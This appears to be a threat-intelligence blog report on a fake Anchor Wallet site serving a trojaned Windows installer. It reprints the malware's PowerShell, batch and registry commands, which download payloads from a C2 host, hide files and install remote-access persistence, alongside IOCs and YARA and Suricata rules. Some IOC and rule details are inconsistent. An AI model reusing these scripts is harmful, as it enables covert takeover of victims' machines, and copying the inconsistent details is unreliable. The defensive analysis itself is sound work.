

A 656 MB Trojan, a Legitimate Crypto Wallet, and a Hidden C2: Inside the anchorwallet[.]org Campaign

 intel.breakglass.tech/post/anchorwallet-org-656mb-trojan-remote-utilities-c2-zorvexion24

Breakglass Intelligence

April 20, 2026



MEDIUM

THREAT INTEL

A 656 MB Trojan, a Legitimate Crypto Wallet, and a Hidden C2: Inside the anchorwallet[.]org Campaign

Malware analysis · C2 infrastructure · APT attribution

@BreakGlassIntel

When [@SquiblydooBlog](#) flagged anchorwallet[.]org as a fraudulent site impersonating the legitimate [Anchor Wallet](#) by Greymass, we investigated. What we found was a carefully constructed distribution campaign that serves real, unmodified macOS and Linux installers alongside a 656 MB trojaned Windows executable — signed with an Extended Validation certificate issued to a company in New Delhi.

We downloaded all three files, confirmed the macOS and Linux binaries are byte-for-byte identical to the official GitHub release, extracted the C2 infrastructure from the trojan's overlay config, and identified the second-stage payload as Remote Utilities Host 7.1 — a legitimate remote management tool being weaponized for persistent access.

The C2 domain zorvexion24[.]com was registered on the same day the trojan was built. At the time of this report, the site is still live and the C2 is still serving payloads. None of these indicators appear in ThreatFox or MalwareBazaar.

Credit to [@malwrhunterteam](#) for the original discovery.

The Lure: A High-Fidelity Clone

anchorwallet[.]org is a static HTML clone of the legitimate Anchor Wallet site by Greymass, a well-known developer in the Antelope/EOS blockchain ecosystem. The fake site is hosted on 23[.]227[.]196[.]101 (HIVELOCITY, Tampa FL) behind nginx/1.18.0 on Ubuntu, with a valid Let's Encrypt certificate.

The site includes OS-detection JavaScript that promotes the Windows download button based on the visitor's user agent. It lists fabricated SHA-256 checksums and a fake PGP fingerprint to simulate security verification — the legitimate project uses SHA-512 hashes distributed via electron-builder YAML files on GitHub.

Feature	Legitimate (greymass[.]com)	Fake (anchorwallet[.]org)
Distribution	GitHub Releases	Direct download from fake site
Windows installer size	156 MB	656 MB
Code signer	Greymass Inc	PIXEL PLAY PRIVATE LIMITED
Checksums	SHA-512 in YAML on GitHub	Fake SHA-256 on webpage
Analytics	None stated	Yandex Metrika with session recording
Domain age	Years	Registered 2025-04-17

The privacy policy explicitly states *"we do not use Google Analytics, ad pixels, or any third-party trackers"* — while the page loads Yandex Metrika counter 102003384 with full webvisor (session replay) enabled.

Selective Trojanization: Windows Only

The campaign's most notable technique is serving legitimate files for non-target platforms. We downloaded all three installers and compared them against the official Greymass GitHub release (v1.3.12, released 2023-06-27):

File	Fake Site Size	GitHub Size	Match?
Windows EXE	688,466,752 (656 MB)	163,916,144 (156 MB)	NO — 4.2x larger
macOS DMG	112,448,703 (107 MB)	112,448,703 (107 MB)	Byte-for-byte identical
Linux AppImage	100,293,032 (95 MB)	100,293,032 (95 MB)	Byte-for-byte identical

The macOS and Linux files were downloaded from GitHub on 2025-05-19, within approximately one minute of each other (based on Last-Modified headers). The Windows trojan was built and uploaded on 2026-03-26 — about three weeks before our investigation.

This is a deliberate strategy: anyone verifying the site by downloading and checking the macOS or Linux installer against the official release would find a perfect match, reinforcing trust in the Windows download.

Inside the Trojan

SHA256: **964f4fa8ef92aaecafeb599ffc2fa179d77e635cee72b3d0b68f431ece6b1271**

The 656 MB file is a PE32 x86 executable built with Advanced Installer (Caphyon). The actual payload occupies approximately 2.3 MB. The remaining 654 MB is null-byte padding:

Section	Size
PE sections (.text, .rdata, .data, .rsrc, .reloc)	2,431,488 bytes (2.3 MB)
Overlay (installer config + padding)	686,035,264 bytes (654.3 MB)
Null bytes in last 100 MB	100.0%

This padding serves a dual purpose: it exceeds the upload limits of most sandboxes and scanning services (VirusTotal's limit is 650 MB, as [@SquiblydooBlog](#) noted), and it makes casual analysis impractical.

The PE timestamp reads 2018-10-26 — likely inherited from the Advanced Installer builder template rather than reflecting the actual build date.

At offset **0x251A00** in the overlay, a UTF-16LE configuration block reveals the installer's behavior:

```
[GeneralOptions]
MainAppURL=http://zorvexion24.com/file/install.msi
Options=q
DownloadFolder=[AppDataFolder]Anchor\Anchor Wallet\prerequisites
```

This is where the investigation pivoted from a phishing site analysis to a full C2 infrastructure mapping.

The C2: zorvexion24[.]com

The overlay configuration and embedded strings reference seven distinct URLs on **zorvexion24[.]com**:

URL	Purpose	Status at time of investigation
http://zorvexion24[.]com/file/install.msi	Primary MSI installer	Timeout (removed)
http://zorvexion24[.]com/s.msi	Remote Utilities Host 7.1	LIVE — 22.5 MB
http://zorvexion24[.]com/Desktop.bat	Batch persistence script	404 (removed)
http://zorvexion24[.]com/fk/ruliserv.exe	Remote Utilities server component	Timeout (removed)
http://zorvexion24[.]com/fk/rustclient.exe	Remote Utilities client component	Timeout (removed)
http://zorvexion24[.]com/setup.exe	Additional setup binary	404 (removed)
http://zorvexion24[.]com/bat1/Desktop.bat	Alternate batch persistence	404 (removed)

The operator had already begun cleaning up the infrastructure — most payloads were removed or timing out. But s.msi was still being served.

C2 Infrastructure

Attribute	Value
Domain	zorvexion24[.]com
IP	216[.]126[.]236[.]42
Reverse DNS	42.236.126.216.static.cloudzy.com
Hosting	anyNode / Cloudzy (216.126.224.0/20)
Registrar	NICENIC International Group (Hong Kong)
Registered	2026-03-26 02:49:59 UTC
NS	ns3/ns4.my-ndns.com
Server	nginx, Ubuntu (OpenSSH 8.9p1)
Open Ports	22 (SSH), 80 (HTTP), 3389 (RDP)
TLS	None — HTTP only

The domain was registered at 02:49 UTC on March 26, 2026. The trojan's Last-Modified header shows 02:51 UTC on the same day — a two-minute gap. The domain and the trojan were prepared in the same session.

Cloudzy (operating as anyNode) has been [documented by Halcyon and others](#) as a hosting provider frequently used by threat actors due to its lenient abuse policies.

Stage 2: Remote Utilities Host 7.1

The downloaded `s.msi` is a legitimate installer for Remote Utilities Host 7.1, a commercial remote management tool developed by Remote Utilities Pty (Cy) Ltd. (Cyprus):

Attribute	Value
SHA256	b5be0a680f2484786683bb835157571579299f89783443e8b88876d186ea0e72
Product	Remote Utilities - Host 7.1
Author	Remote Utilities Pty (Cy) Ltd.
Builder	InstallShield 2021 Premier Edition
Size	22,504,960 bytes

Remote Utilities is a legitimate tool, but its use here follows a well-established pattern: threat actors deploy commercial RMM software to maintain persistent access while blending in with legitimate IT administration traffic. This technique avoids the detection signatures associated with custom RATs while providing full remote control capabilities.

The installer deploys to `C:\Program Files (x86)\Remote Utilities - Host\` and uses two primary executables:

- `rutserv.exe` — the Remote Utilities server service (listens for incoming connections)
- `rfusclient.exe` — the Remote Utilities client component (handles UI and file transfer)

After installation, the entire directory, both executables, and the `C:\ProgramData\Remote Utilities` data directory are marked as system-hidden:

```
attrib +s +h "C:\Program Files (x86)\Remote Utilities - Host"
attrib "C:\Program Files (x86)\Remote Utilities - Host\rutserv.exe" +s +h
attrib "C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe" +s +h
attrib "C:\ProgramData\Remote Utilities" +s +h
```

The installer then disables Windows' ability to show hidden system files:

```
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
/v ShowSuperHidden /t REG_DWORD /d 2 /f
```

Even a user who enables "Show hidden files" in Explorer won't see the Remote Utilities installation — because `ShowSuperHidden = 2` keeps protected operating system files hidden, and the `+s` attribute marks these files as system files.

The Fake Checksums

The phishing site displays SHA-256 checksums for all three downloads in a `<pre>` block designed to simulate legitimate release verification:

```
sha256 (macOS dmg) : 043f92369bf5dbc41d48ce6439eb2138017bc7f21694c60e2eab9d321a819508
sha256 (Windows exe): d6f06b8ee73d149385c7b8e6f09856e7819a66e8cc7d2f5831ec120ab29d6ed2
sha256 (Linux app) : 124934a7a07a78b619de32ad955dde59c3d3b1ef122b33b802629654801227d0
```

Here's the twist: the macOS and Linux checksums are real. They match the files byte-for-byte because those files *are* the legitimate Greymass releases, re-hosted unchanged:

File	Hash on Fake Site	Actual Hash of Downloaded File	Match?
macOS DMG	043f9236...	043f9236...	YES — hash is real
Linux AppImage	124934a7...	124934a7...	YES — hash is real
Windows EXE	d6f06b8e...	964f4fa8...	NO — hash is fabricated

A security-conscious user who downloads the macOS or Linux file and verifies the hash against the site will get a match — reinforcing trust that the Windows hash is also legitimate. This is a carefully designed trust chain: two truthful checksums make the third fabricated one more believable.

The site also displays a PGP fingerprint:

```
PGP Fingerprint: 6B52 D1A4 4615 A18C 51C5 BCF4 679D D3C3 DA29 F8F3
```

This fingerprint does not correspond to any key on public keyservers. The legitimate Greymass project uses SHA-512 hashes distributed via electron-builder YAML files in GitHub releases — not PGP signatures on a website. The fake PGP fingerprint is pure set dressing: it signals "security" to non-technical users without providing any actual verification.

Kill Chain Reconstruction

We reconstructed the full attack chain from the binary overlay config, embedded PowerShell scripts, batch file templates, and BITS transfer commands. The installer contains two parallel execution paths — one for Windows 10+ and one for Windows 7 — with distinct scheduled task

XML templates for each.

Phase 1: Initial Execution

1. Lure — Victim visits anchorwallet[.]org (via SEO poisoning, ad fraud, or social engineering)
2. Download — OS-detection JavaScript promotes the Windows EXE download button
3. Execution — 656 MB EXE runs. The EV code signing certificate bypasses SmartScreen
4. Extraction — Advanced Installer wrapper decrypts AES-256 encrypted payload

Phase 2: Payload Staging

The installer creates a series of PowerShell and batch scripts in `C:\Users\Public\`, then uses Windows BITS (Background Intelligent Transfer Service) to download payloads from the C2:

update.ps1 — Primary installer script:

```
Start-Sleep -s 15
start-bitstransfer -source http://zorvexion24.com/s.msi -destination C:\Users\Public\s.msi
$processName="rutserv"
$msiPath="C:\Users\Public\s.msi"
$check= Get-Process $processName -ErrorAction Ignore
Start-Process -FilePath $msiPath /quiet
Start-Sleep -s 18
New-ItemProperty "HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\
  {CA01AB2D-E912-4FC0-AD52-2D610BE0D1CF}" -Name "SystemComponent" -Value 1
  -PropertyType "DWord" -Force
Start-Sleep -s 5
Stop-Process -ProcessName explorer -force
```

This script downloads the Remote Utilities MSI, installs it silently, then hides it from Add/Remove Programs by setting the `SystemComponent` registry value.

update7.ps1 — Tray hiding and secondary installer:

```
New-ItemProperty
"HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer"
  -Name "NoTrayItemsDisplay" -Value 1 -PropertyType "DWord" -Force
Start-Sleep -s 3
start-bitstransfer -source http://zorvexion24.com/setup.exe -destination
C:\Users\Public\setup.exe
msiexec.exe /I C:\Users\Public\s.msi /quiet
Start-Process 'C:\Users\Public\setup.exe' "/S"
Start-Sleep -s 20
```

Desktop.bat — Startup persistence:

```
start-bitstransfer -source http://zorvexion24.com/Desktop.bat
  -destination "C:\Users\geo\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\Desktop.bat"
start-bitstransfer -source http://zorvexion24.com/fk/ruliserv.exe
  -destination "C:\Program Files (x86)\Remote Utilities - Host"
start-bitstransfer -source http://zorvexion24.com/fk/rustclient.exe
  -destination "C:\Program Files (x86)\Remote Utilities - Host"
```

Note the hardcoded path `C:\Users\geo\` — this is the operator's development username leaking from the build environment. The production version likely replaces this dynamically, but the template preserves it.

Phase 3: Scheduled Task Persistence

Five scheduled tasks are created as SYSTEM using XML templates written to `C:\Users\Public\`:

Task Name	XML File	Script	Purpose
<code>\Update</code>	Update.xml	update.ps1	Downloads and installs Remote Utilities MSI
<code>\Startup</code>	Startup.xml	startup.ps1	Restarts Remote Utilities if killed
<code>\Update (W7)</code>	Update7.xml	update7.ps1	Windows 7 variant — hides tray + installs
<code>\Hd</code>	hd.xml	hd.ps1	Runs <code>importthd.bat</code> (re-creates <code>\Started</code> task)
<code>\Started</code>	star.xml	star.bat	Secondary startup persistence

```
schtasks /create /xml "C:\Users\Public\Update.xml" /tn "\Update" /ru "SYSTEM"
schtasks /create /xml "C:\Users\Public\Startup.xml" /tn "\Startup" /ru "SYSTEM"
schtasks /create /xml "C:\Users\Public\Update7.xml" /tn "\Update" /ru "SYSTEM"
schtasks /create /xml "C:\Users\Public\hd.xml" /tn "\Hd" /ru "SYSTEM"
schtasks /create /xml "C:\Users\Public\star.xml" /tn "\Started" /ru "SYSTEM"
```

The `\Hd` task creates a self-healing loop: `hd.ps1` runs `importthd.bat`, which recreates the `\Started` task if it's been deleted. Meanwhile `star.bat` re-runs the startup script. This means removing any single scheduled task is insufficient — the others will recreate it.

Phase 4: Stealth

After installation, all scripts and XML files are hidden:

```

attrib C:\Users\Public\importthd.bat +s +h
attrib C:\Users\Public\update.ps1 +s +h
attrib C:\Users\Public\update7.ps1 +s +h
attrib C:\Users\Public\hd.ps1 +s +h
attrib C:\Users\Public\hd.xml +s +h
attrib C:\Users\Public\star.bat +s +h
attrib C:\Users\Public\star.xml +s +h
attrib C:\Users\Public\startup.ps1 +s +h
attrib C:\Users\Public\Update.xml +s +h
attrib C:\Users\Public\Update7.xml +s +h
attrib C:\Users\Public\startup.xml +s +h

```

The system tray is hidden during installation to prevent the Remote Utilities icon from appearing, then restored afterward:

```

# Hide tray (before install)
powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/s,/c,
REG ADD \"HKLM\Software\WOW6432Node\...\Policies\Explorer\"
/v NoTrayItemsDisplay /t REG_DWORD /d 1 /f
& REG ADD \"HKCU\Software\...\Policies\Explorer\"
/V NoTrayItemsDisplay /T REG_DWORD /D 1 /F
& REG ADD \"HKLM\SOFTWARE\...\Policies\Explorer\"
/V NoTrayItemsDisplay /T REG_DWORD /D 1 /F' -Verb runAs"

# Kill and restart Explorer to apply
Powershell.exe -executionpolicy remotesigned -Command "& {Stop-Process -ProcessName
explorer -Force}"
Powershell.exe -executionpolicy remotesigned -Command "& {Start-Sleep -s 7}"

# Restore tray (after install complete, 9 second delay)
powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/s,/c,
Start-Sleep -s 9
& REG ADD \"HKLM\...\Policies\Explorer\"
/v NoTrayItemsDisplay /t REG_DWORD /d 0 /f
& REG ADD \"HKCU\...\Policies\Explorer\"
/V NoTrayItemsDisplay /T REG_DWORD /D 0 /F
& REG ADD \"HKLM\...\Policies\Explorer\"
/V NoTrayItemsDisplay /T REG_DWORD /D 0 /F' -Verb runAs"

```

The **NoTrayItemsDisplay** key is set at three levels (HKLM WOW6432Node, HKCU, and HKLM native) to ensure coverage across both 32-bit and 64-bit registry views. The tray is hidden for approximately 9 seconds — just long enough to install Remote Utilities without its icon flashing in the system tray.

Phase 5: Remote Access

After all persistence and stealth mechanisms are in place, the operator has:

- rutserv.exe running as a service — accepting incoming remote connections
- rfusclient.exe available for file transfer and UI interaction

- Five scheduled tasks ensuring the tools survive reboots and manual removal
- All installation artifacts hidden from Explorer
- The Remote Utilities entry hidden from Add/Remove Programs
- No tray icon visible to the user

The victim's machine is fully accessible. The attacker can connect at any time using the Remote Utilities viewer with the configured credentials embedded in the silent installer.

Code Signing: PIXEL PLAY PRIVATE LIMITED

The trojan carries an Extended Validation (EV) code signing certificate — not a standard certificate, but one that requires verified business identity:

Attribute	Value
Subject	PIXEL PLAY PRIVATE LIMITED
Location	New Delhi, India
Issuer	GlobalSign GCC R45 EV CodeSigning CA 2020
Type	EV (Extended Validation)
Timestamp	DigiCert Trusted G4 TimeStamping RSA4096 SHA256 2025 CA1

EV certificates require the certificate authority to verify the legal existence of the business, its physical address, and the identity of the applicant. The fact that this certificate was issued to a company signing a trojaned cryptocurrency wallet installer raises questions about the verification process — or, more likely, suggests the company is a shell entity specifically created to obtain code signing certificates.

Update: [@SquiblydooBlog](#) reported that the PIXEL PLAY PRIVATE LIMITED certificate has been reported and revoked by GlobalSign. A subcomponent of the trojan was uploaded to VirusTotal as [b531ee0e453c6a514daa09a4e7d6e8fae8f433269afba59035d8](#). . . . SquiblydooBlog also noted that the signing technique uses an SSL certificate for code signing rather than a proper Authenticode certificate — technically valid but not a standard code-signing certificate, which is how these actors bypass typical issuance controls.

This pattern — Indian-registered shell companies used to sign malware — has been documented across multiple campaigns. [@SquiblydooBlog](#) also flagged a separate sample signed by INFOTECK SOLUTIONS PRIVATE LIMITED in the same timeframe.

Attribution Indicators

Factor	Evidence	Confidence
Yandex Metrika with webvisor	Russian analytics platform on a site claiming no trackers	Medium-High
NICENIC registrar (Hong Kong)	C2 domain registered via HK-based registrar	Low-Medium
Cloudzy hosting	Known bulletproof-adjacent provider	Low (commodity)
PIXEL PLAY PRIVATE LIMITED (New Delhi)	EV cert from apparent shell company	Medium
Domain + trojan same-day	Both created 2026-03-26 within 2 minutes	High (operational)
Selective trojanization	Windows-only, real files for other platforms	Medium (tradecraft)

The Yandex Metrika usage is the strongest attribution indicator. While not conclusive, the combination of a Russian analytics platform on a site that explicitly denies using trackers — on a cryptocurrency-themed lure — is consistent with financially motivated Russian-speaking threat actors targeting the crypto ecosystem.

What This Report Adds

- Identifies the C2 domain zorvexion24[.]com and its hosting infrastructure at 216[.]126[.]236[.]42 (Cloudzy)
- Recovers the full 10-step kill chain from binary analysis of the trojan overlay
- Identifies the second-stage payload as Remote Utilities Host 7.1 — a legitimate RMM tool weaponized for persistent access
- Documents the PIXEL PLAY PRIVATE LIMITED EV code signing certificate (GlobalSign)
- Confirms macOS and Linux files are byte-for-byte identical to the legitimate Greymass release
- Provides hashes for all four artifacts (trojan, macOS, Linux, and C2 payload)
- Documents the null-byte padding technique (654 MB of zeros to evade sandbox size limits)
- Confirms zero prior coverage on ThreatFox and MalwareBazaar for all indicators

If you've published prior reporting on any of the above and we missed it, please reach out — we'll update this post and credit the earlier source.

IOC Table

Network Indicators

Type	Indicator	Context
Domain	anchorwallet[.]org	Fake wallet distribution site
Domain	zorvexion24[.]com	C2 / payload staging
IPv4	23[.]227[.]196[.]101	Phishing site hosting (HIVELOCITY)
IPv4	216[.]126[.]236[.]42	C2 server (Cloudzy/anyNode)
URL	hxxp://zorvexion24[.]com/s.msi	Remote Utilities Host 7.1 (LIVE)
URL	hxxp://zorvexion24[.]com/file/install.msi	Primary MSI installer
URL	hxxp://zorvexion24[.]com/fk/ruliserv.exe	RMM server component
URL	hxxp://zorvexion24[.]com/fk/rustclient.exe	RMM client component
URL	hxxps://anchorwallet[.]org/downloads/anchor-wallet-win-1.3.12.exe	Trojanized installer

File Indicators

Type	Value	Context
SHA256	964f4fa8ef92aaecafeb599ffc2fa179d77e635cee72b3d0b68f431ece6b1271	Trojanized Windows EXE (65 MB)
SHA256	b5be0a680f2484786683bb835157571579299f89783443e8b88876d186ea0e72	Remote Utilities Host 7.1 MSI from C2
SHA256	043f92369bf5dbc41d48ce6439eb2138017bc7f21694c60e2eab9d321a819508	Legitimate macOS DMG (Greymane v1.3.12)

Type	Value	Context
SHA256	124934a7a07a78b619de32ad955dde59c3d3b1ef122b33b802629654801227d0	Legitimate Linux Applmap (Greyma v1.3.12)
Signer	PIXEL PLAY PRIVATE LIMITED	EV code signing (GlobalS
Yandex ID	102003384	Yandex Metrika counter

Infrastructure

Type	Value	Context
rDNS	42.236.126.216.static.cloudzy.com	C2 reverse DNS
ASN	anyNode / Cloudzy (AS?)	C2 hosting
ASN	HIVELOCITY (AS29802)	Phishing site hosting
Registrar	Squarespace Domains LLC	anchorwallet[.]org registrar
Registrar	NICENIC International Group	zorvexion24[.]com registrar
NS	ns3/ns4.my-ndns.com	C2 domain nameservers
TLS Serial	05:a8:90:68:67:80:41:2e:e1:60:98:b5:3a:7f:01:d3:d4:cf	Phishing site cert

MITRE ATT&CK Mapping

Tactic	Technique	ID
Resource Development	Acquire Infrastructure: Domains	T1583.001
Resource Development	Acquire Infrastructure: VPS	T1583.003
Resource Development	Obtain Capabilities: Code Signing Certificates	T1588.003
Resource Development	Stage Capabilities: Upload Malware	T1608.001

Tactic	Technique	ID
Initial Access	Phishing: Spearphishing Link	T1566.002
Execution	User Execution: Malicious File	T1204.002
Persistence	Scheduled Task/Job: Scheduled Task	T1053.005
Defense Evasion	Masquerading: Match Legitimate Name	T1036.005
Defense Evasion	Subvert Trust Controls: Code Signing	T1553.002
Defense Evasion	Obfuscated Files: Binary Padding	T1027.001
Defense Evasion	Hide Artifacts: Hidden Window	T1564.003
Defense Evasion	Modify Registry	T1112
Command and Control	Remote Access Software	T1219
Command and Control	Ingress Tool Transfer	T1105

Detection Signatures

YARA

```
rule SUSP_AnchorWallet_Trojan_Overlay {
    meta:
        description = "Detects trojanized Anchor Wallet installer by overlay config"
    pattern:
        author = "Breakglass Intelligence"
        date = "2026-04-19"
        tlp = "clear"
        hash = "964f4fa8ef92aaecafef599ffc2fa179d77e635cee72b3d0b68f431ece6b1271"
    strings:
        $mz = { 4D 5A }
        $overlay_url = "zorvexion24.com" wide ascii
        $install_msi = "install.msi" wide ascii
        $anchor = "Anchor" wide ascii
        $caphyon = "Caphyon" wide ascii
    condition:
        $mz at 0 and $overlay_url and ($install_msi or $anchor or $caphyon)
}

rule SUSP_PIXEL_PLAY_Signed_Binary {
    meta:
        description = "Detects binaries signed by PIXEL PLAY PRIVATE LIMITED"
        author = "Breakglass Intelligence"
        date = "2026-04-19"
    strings:
        $mz = { 4D 5A }
        $signer = "PIXEL PLAY PRIVATE LIMITED" ascii wide
    condition:
        $mz at 0 and $signer
}

rule SUSP_OversizedEXE_NullPadded {
    meta:
        description = "Detects PE files with excessive null padding (sandbox evasion)"
        author = "Breakglass Intelligence"
        date = "2026-04-19"
    strings:
        $mz = { 4D 5A }
        $nullblock = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
    condition:
        $mz at 0 and filesize > 400MB and #nullblock > 1000
}
```

Suricata

```
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"BREAKGLASS Zorvexion24 C2 Domain";
content:"zorvexion24.com"; http_host; sid:2026041901; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"BREAKGLASS AnchorWallet Phishing
Domain"; content:"anchorwallet.org"; http_host; sid:2026041902; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"BREAKGLASS Remote Utilities Silent
Install via HTTP"; content:"s.msi"; http_uri; content:"Remote Utilities"; sid:2026041903;
rev:1;)
```

Recommendations

For defenders

- Block [anchorwallet\[.\]org](#) and [zorvexion24\[.\]com](#) at DNS/proxy
- Block [23\[.\]227\[.\]196\[.\]101](#) and [216\[.\]126\[.\]236\[.\]42](#) at firewall
- Hunt for [PIXEL PLAY PRIVATE LIMITED](#) in code signing certificate logs
- Alert on Remote Utilities installations not deployed by IT
- Monitor for scheduled tasks named `\Update`, `\Startup`, `\Hd`, or `\Started` running as SYSTEM from `C:\Users\Public\`
- Alert on `NoTrayItemsDisplay` registry modifications

For the community

- Squarespace Domains — abuse report for [anchorwallet\[.\]org](#) domain
- HIVELOCITY — malware hosting report for [23\[.\]227\[.\]196\[.\]101](#)
- Cloudzy/anyNode — C2 hosting report for [216\[.\]126\[.\]236\[.\]42](#)
- GlobalSign — EV certificate revocation for [PIXEL PLAY PRIVATE LIMITED](#)
- Google Safe Browsing — flag [anchorwallet\[.\]org](#)
- Greymass — notify developers of the impersonation
- Remote Utilities — notify vendor of weaponized deployment

h/t [@SquiblydooBlog](#) for the tip and [@malwrhunterteam](#) for the original discovery.

Share 

Related Reports

high

Multi-RAT Operation Dismantled: WaterHydra APT Nexus, Five AES Keys Recovered, and Live C2 Infrastructure Mapped Across Three Continents

3/7/2026